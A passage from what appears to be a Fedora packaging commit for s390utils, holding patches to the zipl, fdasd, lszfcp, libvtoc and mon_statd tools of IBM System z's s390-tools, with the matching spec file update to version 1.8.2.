+	if (timeout)
+		scan[i++].content.keyword.value = misc_strdup(timeout);
+	else
+		scan[i++].content.keyword.value = misc_strdup("15");
+
+	pos = i;
+	for (i = 0; i<numsec; i++) {
+		scan[pos].id = scan_id_number_assignment;
+		scan[pos].line = pos;
+		scan[pos].content.number.number = i+1;
+		scan[pos++].content.number.value = misc_strdup(seclist[i]);
+	}
+
+	return scan;
+}
+
 static int
 get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 {
-	struct scan_token* scan;
+	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
 	int rc;
@@ -1303,9 +1470,22 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
+
+	if (cmdline->automenu) {
+		nscan = create_fake_menu(scan);
+		if (nscan == NULL) {
+			scan_free(scan);
+			return -1;
+		}
+		scan = nscan;
+	}
+
 	/* Get job from config file data */
-	if (cmdline->menu != NULL)
+	if (cmdline->menu != NULL || cmdline->automenu) {
+		if (cmdline->automenu)
+			cmdline->menu = misc_strdup("rh-automatic-menu");
 		rc = get_menu_job(scan, cmdline->menu, job);
+	}
 	else {
 		rc = get_section_job(scan, cmdline->section, job,
 				cmdline->data[(int) scan_keyword_parameters]);
diff --git a/zipl/src/scan.c b/zipl/src/scan.c
index 9948092..caca3cf 100644
--- a/zipl/src/scan.c
+++ b/zipl/src/scan.c
@@ -33,9 +33,9 @@ enum scan_key_state scan_key_table[SCAN_SECTION_NUM][SCAN_KEYWORD_NUM] = {
  *			     rs                                 enu
  */
 /* defaultboot	*/
-	{opt, inv, inv, inv, inv, inv, inv, inv, inv, inv, inv, opt, inv, inv},
+	{opt, inv, inv, inv, inv, inv, inv, inv, req, inv, opt, opt, inv, inv},
 /* ipl		*/
-	{inv, inv, inv, req, opt, opt, opt, inv, req, inv, inv, inv, inv, inv},
+	{inv, inv, inv, req, opt, opt, opt, inv, opt, inv, inv, inv, inv, inv},
 /* segment load */
 	{inv, inv, inv, inv, inv, inv, inv, req, req, inv, inv, inv, inv, inv},
 /* part dump	*/
diff --git a/zipl/src/zipl.c b/zipl/src/zipl.c
index 9cb764c..4d9fd36 100644
--- a/zipl/src/zipl.c
+++ b/zipl/src/zipl.c
@@ -73,6 +73,7 @@ static const char* usage_text[] = {
 "-n, --noninteractive            Answer all confirmation questions with 'yes'",
 "-V, --verbose                   Provide more verbose output",
 "-a, --add-files                 Add all referenced files to bootmap file",
+"-x, --no-automenu               Don't autogenerate multiboot menu",
 "    --dry-run                   Simulate run but don't modify IPL records"
 };
 
-- 
1.6.3.3


0003-s390-tools-1.8.1-fdasd-su.patch:
 fdasd.c |   11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

--- NEW FILE 0003-s390-tools-1.8.1-fdasd-su.patch ---
>From f8acd63e169cdec39c47ac0d8c1b98e115cf24a1 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:01 +0200
Subject: [PATCH 3/9] s390-tools-1.8.1-fdasd-su

---
 fdasd/fdasd.c |   10 ++++++----
 1 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index aa16659..3a54968 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -2009,10 +2009,12 @@ fdasd_get_geometry (fdasd_anchor_t *anc)
 	if (anc->verbose) printf("disk type check     : ok\n");
 
         if (dasd_info.FBA_layout != 0) {
-                snprintf(err_str, ERROR_STRING_SIZE, 
-			"%s is not formatted with z/OS compatible "
-			"disk layout!", options.device);
-                fdasd_error(anc, wrong_disk_format, err_str);
+                if(!anc->silent) {
+                    snprintf(err_str, ERROR_STRING_SIZE,
+			    "%s is not formatted with z/OS compatible "
+			    "disk layout!", options.device);
+                    fdasd_error(anc, wrong_disk_format, err_str);
+                }
         }      
 
 	if (anc->verbose) printf("disk layout check   : ok\n");
-- 
1.6.3.3


0004-s390-tools-1.8.1-fdasd-raid-lvm.patch:
 fdasd.c |   66 +++++++++++++++++++++++++++++++++++++++++++++++++++-------------
 1 file changed, 53 insertions(+), 13 deletions(-)

--- NEW FILE 0004-s390-tools-1.8.1-fdasd-raid-lvm.patch ---
>From 35298f5f9512835071b8c08e843731bbfbb15b7e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 11:46:16 +0200
Subject: [PATCH 4/9] s390-tools-1.8.1-fdasd-raid-lvm

---
 fdasd/fdasd.c |   65 ++++++++++++++++++++++++++++++++++++++++++++++----------
 1 files changed, 53 insertions(+), 12 deletions(-)

diff --git a/fdasd/fdasd.c b/fdasd/fdasd.c
index 3a54968..a526d7f 100644
--- a/fdasd/fdasd.c
+++ b/fdasd/fdasd.c
@@ -258,10 +258,10 @@ fdasd_error(fdasd_anchor_t *anc, enum fdasd_failure why, char *str)
 static int
 read_line(void) 
 {
-	bzero(line_buffer, LINE_LENGTH);
 	line_ptr = line_buffer;
         if (!fgets(line_buffer, LINE_LENGTH, stdin))
 		return 0;
+	line_buffer[LINE_LENGTH-1] = 0;
 	while (*line_ptr && !isgraph(*line_ptr))
 		line_ptr++;
 	return *line_ptr;
@@ -312,6 +312,10 @@ fdasd_partition_type (char *str)
 		strcpy(str, "Linux native");
 	else if (strncmp("SWAP  ", str, 6) == 0)
 		strcpy(str, "Linux swap");
+	else if (strncmp("RAID  ", str, 6) == 0)
+		strcpy(str, "Linux Raid");
+	else if (strncmp("LVM   ", str, 6) == 0)
+		strcpy(str, "Linux LVM");
 	else
 		strcpy(str, "unknown");
 
@@ -1122,14 +1126,24 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, s2, 31);
 		}
 		else {
+			char str[20];
 			char *tmp = strstr(ch, "SWAP");
+			char *tmp1 = strstr(ch, "RAID");
 
 			/* create a new data set name */
 			while (getpos(anc, k) > -1)
 				k++;
 
 			setpos(anc, k, i-1);
-			
+
+			strncpy(s2, ch, 44);
+			s2[44]=0;
+			vtoc_ebcdic_dec(s2, s2, 44);
+			c2 = strstr(s2, "PART");
+			if (c2 != NULL) strncpy(str, c2+=9, 6);
+			str[6] = '\0';
+			fdasd_partition_type(str);
+
 			strncpy(ch, "LINUX.V               "
 				"                      ", 44);
 
@@ -1145,10 +1159,21 @@ fdasd_write_vtoc_labels (fdasd_anchor_t *anc)
 			strncpy(c1, dsno, 4);
 
 			c1 += 4;
-			if (tmp)
-				strncpy(c1, ".SWAP", 5);
-			else
-				strncpy(c1, ".NATIVE", 7);
+			if (tmp || tmp1) {
+				if (tmp)
+					strncpy(c1, ".SWAP", 5);
+				if (tmp1)
+					strncpy(c1, ".RAID", 5);
+			} else {
+				if (strcmp("unknown", str) == 0) {
+					strncpy(c1, ".NATIVE", 7);
+				}
+				else {
+					strncpy(c1, ".", 1);
+					strncpy(c1+1, c2, 6);
+				}
+			}
+
 		}
 		vtoc_ebcdic_enc(ch, ch, 44);
 		if (anc->verbose) printf("%2x ", part_info->f1->DS1FMTID);
@@ -1433,9 +1458,10 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
 
 	printf("current partition type is: %s\n\n", fdasd_partition_type(str));
 	printf("   1  Linux native\n" \
-	       "   2  Linux swap\n\n");
+	       "   2  Linux swap\n" \
+	       "   3  Linux raid\n\n");
 	part_type = 0;
-	while ((part_type < 1) || (part_type > 2)) {
+	while ((part_type < 1) || (part_type > 3)) {
         	while (!isdigit(part_type = 
 				read_char("new partition type: ")));
         	part_type -= 48;
@@ -1448,6 +1474,9 @@ fdasd_change_part_type (fdasd_anchor_t *anc)
         case 2:
 		strncpy(str, "SWAP  ", 6);
                 break;
+        case 3:
+		strncpy(str, "RAID  ", 6);
+                break;
         default:
                 printf("'%d' is not supported!\n", part_type);
         }
@@ -1625,7 +1654,7 @@ fdasd_process_invalid_vtoc(fdasd_anchor_t *anc)
 static void
 fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 {
-	int f1_counter = 0, f7_counter = 0, f5_counter = 0;
+	int f1_counter = 0, f7_counter = 0, f5_counter = 0, oldfmt = 0;
 	int i, part_no, f1_size = sizeof(format1_label_t);
 	partition_info_t *part_info = anc->first;
 	format1_label_t f1_label;
@@ -1677,14 +1706,26 @@ fdasd_process_valid_vtoc(fdasd_anchor_t *anc, unsigned long blk)
 			vtoc_ebcdic_enc(part_info->f1->DS1DSNAM,
 					part_info->f1->DS1DSNAM, 44);
 
-			if ((part_no < 0) || (part_no >= USABLE_PARTITIONS))
+			/* this dasd has data set names 0000-0002
+                           but we use now 0001-0003 */
+                        if (part_no == -1)
+                                oldfmt++;
+
+			if (((oldfmt == 0) && (part_no < 0))
+			    || (part_no >= USABLE_PARTITIONS))
 				printf("WARNING: partition number (%i) found "
 				       "in data set name of an existing "
 				       "partition\ndoes not match range of "
 				       "possible partition numbers (1-%d)\n\n",
 				       part_no + 1, USABLE_PARTITIONS);
-			else
-				setpos(anc, part_no, f1_counter);
+			else {
+				if (oldfmt) /* correct +1 */ {
+					setpos(anc, part_no+1, f1_counter);
+					printf("Correcting f1 header number!\n");
+				}
+				else
+					setpos(anc, part_no, f1_counter);
+			}
 
 			part_info = part_info->next;
 			f1_counter++;
-- 
1.6.3.3


0005-don-t-create-automenu-when-default-menu-exists.patch:
 job.c |   26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

--- NEW FILE 0005-don-t-create-automenu-when-default-menu-exists.patch ---
>From 1efcfe8d7ad20f7a3f584628375da60682b4579c Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 23 Apr 2009 15:28:06 +0200
Subject: [PATCH 5/9] don't create automenu when default menu exists

---
 zipl/src/job.c |   25 +++++++++++++++----------
 1 files changed, 15 insertions(+), 10 deletions(-)

diff --git a/zipl/src/job.c b/zipl/src/job.c
index 6a526e4..89c8c23 100644
--- a/zipl/src/job.c
+++ b/zipl/src/job.c
@@ -1441,6 +1441,8 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 	struct scan_token* scan, *nscan;
 	char* filename;
 	char* source;
+	char* default_section;
+	int is_menu;
 	int rc;
 
 	/* Read configuration file */
@@ -1470,20 +1472,23 @@ get_job_from_config_file(struct command_line* cmdline, struct job_data* job)
 		scan_free(scan);
 		return rc;
 	}
-
-	if (cmdline->automenu) {
-		nscan = create_fake_menu(scan);
-		if (nscan == NULL) {
-			scan_free(scan);
-			return -1;
-		}
-		scan = nscan;
-	}
+	
+	/* disable automenu iff default menu exists */
+	rc = get_default_section(scan, &default_section, &is_menu);
+	if (!rc && is_menu)
+		cmdline->automenu = 0;
 
 	/* Get job from config file data */
 	if (cmdline->menu != NULL || cmdline->automenu) {
-		if (cmdline->automenu)
+		if (cmdline->automenu) {
+			nscan = create_fake_menu(scan);
+			if (nscan == NULL) {
+				scan_free(scan);
+				return -1;
+			}
+			scan = nscan;
 			cmdline->menu = misc_strdup("rh-automatic-menu");
+		}
 		rc = get_menu_job(scan, cmdline->menu, job);
 	}
 	else {
-- 
1.6.3.3


0006-s390-tools-1.8.1-zipl-kdump-man.patch:
 zipl.8 |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE 0006-s390-tools-1.8.1-zipl-kdump-man.patch ---
>From 894de5382653e4389dc8490f2ee4a2a9c59eb86d Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 19 Jun 2009 10:01:30 +0200
Subject: [PATCH 6/9] s390-tools-1.8.1-zipl-kdump-man

Description: Add kdump kernel installation instruction to zipl man page.
Symptom:     User wants to prepare SCSI disk for dump, but has not installed
             the kdump kernel rpm.
Problem:     The installation of the kdump kernel rpm is prereq for preparing
             a SCSI dump disk for dump.
Solution:    Document that in the zipl man page.
---
 zipl/man/zipl.8 |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/zipl/man/zipl.8 b/zipl/man/zipl.8
index 6ebf240..6df6026 100644
--- a/zipl/man/zipl.8
+++ b/zipl/man/zipl.8
@@ -176,6 +176,8 @@ will be incomplete.
 It is not possible to specify both this parameter and the name of a menu
 or configuration section on the command line at the same time.
 
+.B Note that before using this option the "kernel-kdump" rpm has to be
+.B installed.
 .TP
 .BR "\-M <DUMPLIST[,SIZE]>" " or " "--mvdump=<DUMPLIST[,SIZE]>"
 Install a multi-volume dump record on each device associated with one of the
-- 
1.6.3.3


0007-s390-tools-1.8.1-lszfcp-perf.patch:
 lszfcp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0007-s390-tools-1.8.1-lszfcp-perf.patch ---
>From 80e1e88e108b774c7aa7c201326f1a92cf1b7e35 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Wed, 26 Aug 2009 14:21:14 +0200
Subject: [PATCH 7/9] s390-tools-1.8.1-lszfcp-perf

---
 zconf/lszfcp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zconf/lszfcp b/zconf/lszfcp
index d0bf84f..a872d05 100755
--- a/zconf/lszfcp
+++ b/zconf/lszfcp
@@ -233,7 +233,7 @@ show_devices()
 	# Differentiate old and new sysfs layout
 	if $FC_CLASS; then
 		SCSI_DEVICE_LIST=`ls -d \
-			$SYSFS/devices/css0/*/*/host*/rport*/target*/*/ \
+			$SYSFS/bus/ccw/drivers/zfcp/*/host*/rport*/target*/*/ \
 		       	2>/dev/null |grep -P '\d+:\d+:\d+:\d+'`
 	else
 		SCSI_DEVICE_LIST=`ls -d $SYSFS/devices/css0/*/*/host*/*/`
-- 
1.6.3.3


0008-fix-string-overflow-in-vtoc_volume_label_init.patch:
 vtoc.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-fix-string-overflow-in-vtoc_volume_label_init.patch ---
>From d0c06736586d8f85f2e7c64291f3f289c12a0caa Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 24 Sep 2009 09:12:39 +0200
Subject: [PATCH 8/9] fix string overflow in vtoc_volume_label_init

Originaly it tries to copy a 84B string into 4B field and reset also
the other fields thru the overflow. This doesn't work with recent GCC
and the security-related compile flags that are used in Fedora.
---
 libvtoc/vtoc.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/libvtoc/vtoc.c b/libvtoc/vtoc.c
index 62a02a0..cebd5a4 100644
--- a/libvtoc/vtoc.c
+++ b/libvtoc/vtoc.c
@@ -326,7 +326,7 @@ void vtoc_volume_label_init (volume_label_t *vlabel)
 {
 	sprintf(buffer, "%84s", " ");
 	vtoc_ebcdic_enc(buffer, buffer, 84);	
-	strncpy(vlabel->volkey, buffer, 84);
+	memcpy(vlabel, buffer, 84);
 }
 
 
-- 
1.6.3.3


0009-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0009-change-default-load-address-for-ramdisk.patch ---
>From 1697d4f40be133c78cd09fb0af14af22e8c6219e Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Sun, 4 Oct 2009 17:46:16 +0200
Subject: [PATCH 9/9] change default load address for ramdisk

The default load address for the initial ramdisk is changed from
0x800000 to 0x2000000 to allow larger kernels to be loaded.
---
 zipl/include/zipl.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
index 1f70e48..d2d26dd 100644
--- a/zipl/include/zipl.h
+++ b/zipl/include/zipl.h
@@ -22,7 +22,7 @@
 #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
 #define DEFAULT_STAGE3_ADDRESS		0xa000LL
 #define DEFAULT_IMAGE_ADDRESS		0x10000LL
-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
 
 #define PSW_ADDRESS_MASK		0x000000007fffffffLL
 #define PSW_LOAD			0x0008000080000000LL
-- 
1.6.3.3


0010-improve-mon_statd-init-script.patch:
 mon_statd |  114 ++++++++++++++++++++++++++++++++++----------------------------
 1 file changed, 64 insertions(+), 50 deletions(-)

--- NEW FILE 0010-improve-mon_statd-init-script.patch ---
>From 7cd1f2254e27cae8e061d1b42fa6c78bc10a5f39 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Thu, 8 Oct 2009 10:29:23 +0200
Subject: [PATCH] improve mon_statd init script

- stop: do not print error messages if a daemon is not configured
- start: do not load module if no daemon is configured
- remove useless newlines
---
 etc/init.d/mon_statd |  113 ++++++++++++++++++++++++++++----------------------
 1 files changed, 64 insertions(+), 49 deletions(-)

diff --git a/etc/init.d/mon_statd b/etc/init.d/mon_statd
index 4d84b5b..60bcf00 100755
--- a/etc/init.d/mon_statd
+++ b/etc/init.d/mon_statd
@@ -22,7 +22,6 @@ PROCD_PATH=/usr/sbin/$PROCD
 CONFIG_FILE=/etc/sysconfig/$DAEMON
 FSSTATD_PID_FILE=/var/run/$FSSTATD.pid
 PROCD_PID_FILE=/var/run/$PROCD.pid
-RETVAL=0
 
 # source function library
 . /lib/lsb/init-functions
@@ -32,68 +31,81 @@ if [ -f $CONFIG_FILE ]; then
 	. $CONFIG_FILE
 fi
 
-start()
+load_kernel_module()
 {
 	if [ ! -e /dev/monwriter ]; then
 		echo "Loading monwriter module..."
 		modprobe monwriter 2>&1
-		if [ "$?" -ne 0 ]; then
+		if [ $? -ne 0 ]; then
+			exit 1
+		fi
+		udevsettle
+		if [ $? -ne 0 ]; then
 			exit 1
 		fi
-		while [ ! -e /dev/monwriter ]; do
-			sleep 0
-		done
 	fi
+}
 
-	if [ ! -f $FSSTATD_PID_FILE -a "$FSSTAT" = "yes" ]; then
-		echo -n $"Starting $FSSTATD:"
-		$FSSTATD_PATH -i $FSSTAT_INTERVAL
-		if [ $? == 0 ]; then
+start_daemon()
+{
+	local daemon_name=$1
+	local daemon_interval=$2
+	local daemon_pid_file=$3
+	local daemon_path=$4
+
+	if [ ! -f $daemon_pid_file ]; then
+		load_kernel_module
+		echo -n "Starting $daemon_name:"
+		$daemon_path -i $daemon_interval
+		if [ $? -eq 0 ]; then
 			touch /var/lock/subsys/mon_statd
 			log_success_msg
 		else
 			log_failure_msg
 		fi
-	elif [ "$FSSTAT" = "yes" ]; then
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE)) is already running..."
+	else
+		echo "$daemon_name (pid $(cat $daemon_pid_file)) is already running..."
+	fi
+}
+	
+start()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		start_daemon $FSSTATD $FSSTAT_INTERVAL $FSSTATD_PID_FILE \
+			$FSSTATD_PATH
 	fi
 
-	if [ ! -f $PROCD_PID_FILE -a "$PROC" = "yes" ]; then
-		echo -n $"Starting $PROCD:"
-		$PROCD_PATH -i $PROC_INTERVAL
-		if [ $? == 0 ]; then
-			touch /var/lock/subsys/mon_statd
-			log_success_msg
-		else
-			log_failure_msg
-		fi
-	elif [ "$PROC" = "yes" ]; then
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE)) is already running..."
+	if [ "$PROC" = "yes" ]; then
+		start_daemon $PROCD $PROC_INTERVAL $PROCD_PID_FILE \
+			$PROCD_PATH
 	fi
-	echo
 }
 
-stop()
+stop_daemon()
 {
-	echo -n $"Stopping $FSSTATD:"
-	if [ -f $FSSTATD_PID_FILE ]; then
-		killproc $FSSTATD_PATH -TERM
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_path=$3
+
+	echo -n "Stopping $daemon_name:"
+	if [ -f $daemon_pid_file ]; then
+		killproc $daemon_path -TERM
 		log_success_msg
-		rm -f $FSSTATD_PID_FILE
+		rm -f $daemon_pid_file
 	else
 		log_failure_msg
 	fi
+}
 
-	echo -n $"Stopping $PROCD:"
-	if [ -f $PROCD_PID_FILE ]; then
-		killproc $PROCD_PATH -TERM
-		log_success_msg
-		rm -f $PROCD_PID_FILE
-	else
-		log_failure_msg
+stop()
+{
+	if [ "$FSSTAT" = "yes" ]; then
+		stop_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTATD_PATH
+	fi
+	if [ "$PROC" = "yes" ]; then
+		stop_daemon $PROCD $PROCD_PID_FILE $PROCD_PATH
 	fi
 	rm -f /var/lock/subsys/mon_statd
-	echo
 }
 
 restart() {
@@ -101,20 +113,23 @@ restart() {
 	start
 }
 
-status()
+status_daemon()
 {
-	if [ ! -f $FSSTATD_PID_FILE ]; then
-		echo "$FSSTATD is not running."
-	else
-		echo "$FSSTATD (pid $(cat $FSSTATD_PID_FILE), interval: $FSSTAT_INTERVAL) is running."
-	fi
+	local daemon_name=$1
+	local daemon_pid_file=$2
+	local daemon_interval=$3
 
-	if [ ! -f $PROCD_PID_FILE ]; then
-		echo "$PROCD is not running."
+	if [ ! -f $daemon_pid_file ]; then
+		echo "$daemon_name is not running."
 	else
-		echo "$PROCD (pid $(cat $PROCD_PID_FILE), interval: $PROC_INTERVAL) is running."
+		echo "$daemon_name (pid $(cat $daemon_pid_file), interval: $daemon_interval) is running."
 	fi
-	echo
+}
+
+status()
+{
+	status_daemon $FSSTATD $FSSTATD_PID_FILE $FSSTAT_INTERVAL
+	status_daemon $PROCD $PROCD_PID_FILE $PROC_INTERVAL
 }
 
 # How are we called?
@@ -133,7 +148,7 @@ case "$1" in
 		;;
 	*)
 		echo "Usage: $DAEMON {start|stop|status|restart|reload}"
-		RETVAL=1
+		exit 1
 esac
 
-exit $RETVAL
+exit 0
-- 
1.6.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	3 Jul 2009 09:22:59 -0000	1.3
+++ .cvsignore	8 Oct 2009 13:55:36 -0000	1.4
@@ -1,4 +1,4 @@
-s390-tools-1.8.1.tar.bz2
+s390-tools-1.8.2.tar.bz2
 cmsfs-1.1.8c.tar.gz
 lib-zfcp-hbaapi-2.0.tar.gz
 src_vipa-2.0.4.tar.gz


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/s390utils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- s390utils.spec	4 Oct 2009 16:01:13 -0000	1.9
+++ s390utils.spec	8 Oct 2009 13:55:38 -0000	1.10
@@ -7,8 +7,8 @@
 Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
-Version:        1.8.1
-Release:        8%{?dist}
+Version:        1.8.2
+Release:        1%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,28 +27,16 @@ Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
-Patch1:   0001-s390-tools-1.8.1-common-mak.patch
-Patch4:   0004-s390-tools-1.8.1-zipl-automenu.patch
-Patch5:   0005-s390-tools-1.8.1-fdasd-su.patch
-Patch6:   0006-s390-tools-1.8.1-fdasd-raid-lvm.patch
-Patch8:   0008-s390-tools-1.8.1-ziorep-fixes.patch
-Patch9:   0009-s390-tools-1.8.1-cflags.patch
-Patch10:  0010-s390-tools-1.8.1-defaultmenu.patch
-Patch11:  0011-s390-tools-1.8.1-execstack.patch
-Patch12:  0012-s390-tools-1.8.1-ziomon-fixes.patch
-Patch13:  0013-s390-tools-1.8.1-zipl-fix-unsupported-device.patch
-Patch14:  0014-s390-tools-1.8.1-zipl-kdump-man.patch
-Patch15:  0015-s390-tools-1.8.1-iucvterm-getlogin-to-getpwuid.patch
-Patch16:  0016-s390-tools-1.8.1-dumpconf-improve-error-checking.patch
-Patch17:  0017-s390-tools-1.8.1-cpuplugd-memplug.patch
-Patch18:  0018-s390-tools-1.8.1-ziomon-new-blkiomon.patch
-Patch19:  0019-s390-tools-1.8.1-lsluns-disk-enc.patch
-Patch20:  0020-s390-tools-1.8.1-cpuplugd-cmminit.patch
-Patch21:  0021-s390-tools-1.8.1-lszfcp-perf.patch
-Patch22:  0022-fix-string-overflow-in-vtoc_volume_label_init.patch
-Patch23:  0023-change-default-load-address-for-ramdisk.patch
-Patch24:  0024-s390-tools-1.8.1-cpuplugd-limits.patch
-Patch25:  0025-s390-tools-1.8.1-misc-bugfixes.patch
+Patch1:   0001-s390-tools-1.5.3-zipl-zfcpdump-2.patch
+Patch2:   0002-s390-tools-1.8.1-zipl-automenu.patch
+Patch3:   0003-s390-tools-1.8.1-fdasd-su.patch
+Patch4:   0004-s390-tools-1.8.1-fdasd-raid-lvm.patch
+Patch5:   0005-don-t-create-automenu-when-default-menu-exists.patch
+Patch6:   0006-s390-tools-1.8.1-zipl-kdump-man.patch
+Patch7:   0007-s390-tools-1.8.1-lszfcp-perf.patch
+Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
+Patch9:   0009-change-default-load-address-for-ramdisk.patch
+Patch10:  0010-improve-mon_statd-init-script.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -67,8 +55,8 @@ Requires:       s390utils-cmsfs = %{epoc
 
 
 %description
-This is a meta package for installing all s390-tools sub packages.
-If you do not need all sub packages, it is recommended to install the
+This is a meta package for installing the default s390-tools sub packages.
+If you do not need all default sub packages, it is recommended to install the
 required sub packages separately.
 
 The s390utils packages contain a set of user space utilities that should to
@@ -81,63 +69,31 @@ be used together with the zSeries (s390)
 %patch1 -p1 -b .common-mak
 
 # Patch to maintain backwards compatibility with older zipl multiboot feature
-%patch4 -p1 -b .zipl-automenu
+%patch2 -p1 -b .zipl-automenu
 
 # Fix to honor the silent flag for wrongly formated disks
-%patch5 -p1 -b .fdasd-su
+%patch3 -p1 -b .fdasd-su
 
 # Enhancement to add raid partiton support to dasds
-%patch6 -p1 -b .fdasd-raid-lvm
-
-# Post 1.8.1 fixes for ziorep
-%patch8 -p1 -b .ziorep
-
-# Allow override of optimization level in CFLAGS
-%patch9 -p1 -b .cflags
+%patch4 -p1 -b .fdasd-raid-lvm
 
 # Don't build automenu iff default menu exists (#486444)
-%patch10 -p1 -b .defaultmenu
-
-# Remove the execuatble stack flag from zipl
-%patch11 -p1 -b .execstack
-
-# Post 1.8.1 fixes for ziomon
-%patch12 -p1 -b .ziomon
-
-# Post 1.8.1 fix for zipl
-%patch13 -p1 -b .zipl-device
+%patch5 -p1 -b .defaultmenu
 
 # Update zipl man page
-%patch14 -p1 -b .zipl-kdump-man
-
-# Last-minute fixes from IBM
-%patch15 -p1 -b .iucvterm-getlogin-to-getpwuid
-%patch16 -p1 -b .dumpconf-improve-error-checking
-%patch17 -p1 -b .cpuplugd-memplug
-
-# Adapt ziomon to the new layout of the blkiomon_stat structure (#506966)
-%patch18 -p1 -b .ziomon-new-blkiomon
-
-# Fix byte check for disk encryption check in lsluns (#510032)
-%patch19 -p1 -b .lsluns-disk-enc
-
-# Fix cmm configuration file value initialization parser in cpuplugd (#511379)
-%patch20 -p1 -b .cpuplugd-cmminit
+%patch6 -p1 -b .zipl-kdump-man
 
 # Check only ZFCP devices in lszfcp (#518669)
-%patch21 -p1 -b .lszfcp-perf
+%patch7 -p1 -b .lszfcp-perf
 
 # Fix string overflow in vtoc_volume_label_init (#525318)
-%patch22 -p1 -b .vtoc-label
+%patch8 -p1 -b .vtoc-label
 
 # Change default load address for ramdisk (#526339)
-%patch23 -p1 -b .ramdisk-address
+%patch9 -p1 -b .ramdisk-address
 
-# Fix cmm_pages allocation outside min and max range (#525495)
-%patch24 -p1 -b .ramdisk-address
-
-# Miscelaneous fixes for 1.8.1 (#525495)
-%patch25 -p1 -b .misc
+# Improve mon_statd init script
+%patch10 -p1 -b .improve-mon_statd
 
 #
 # cmsfs
@@ -187,7 +143,7 @@ popd
 
 
 %build
-make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release}
+make OPT_FLAGS="$RPM_OPT_FLAGS" DISTRELEASE=%{release} V=1
 
 pushd cmsfs-%{cmsfsver}
 ./configure
@@ -213,7 +169,8 @@ make install \
         INSTROOT=$RPM_BUILD_ROOT \
         MANDIR=$RPM_BUILD_ROOT%{_mandir} \
         LIBDIR=${RPM_BUILD_ROOT}/%{_lib} \
-        DISTRELEASE=%{release}
+        DISTRELEASE=%{release} \
+        V=1
 
 mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
@@ -375,19 +332,23 @@ s390 base tools. This collection provide
    * zconf:
      Set of scripts to configure and list status information of Linux for
      zSeries IO devices.
-     - chccwdev: Modify generic attributes of channel attached devices.
-     - lscss:    List channel subsystem devices.
-     - lsdasd:   List channel attached direct access storage devices (DASD).
-     - lsqeth:   List all qeth-based network devices with their corresponding
-                 settings.
-     - lstape:   List tape devices, both channel and FCP attached.
-     - lszfcp:   Shows information contained in sysfs about zfcp adapters,
-                 ports and units that are online.
-     - lschp:    List information about available channel-paths.
-     - chchp:    Modify channel-path state.
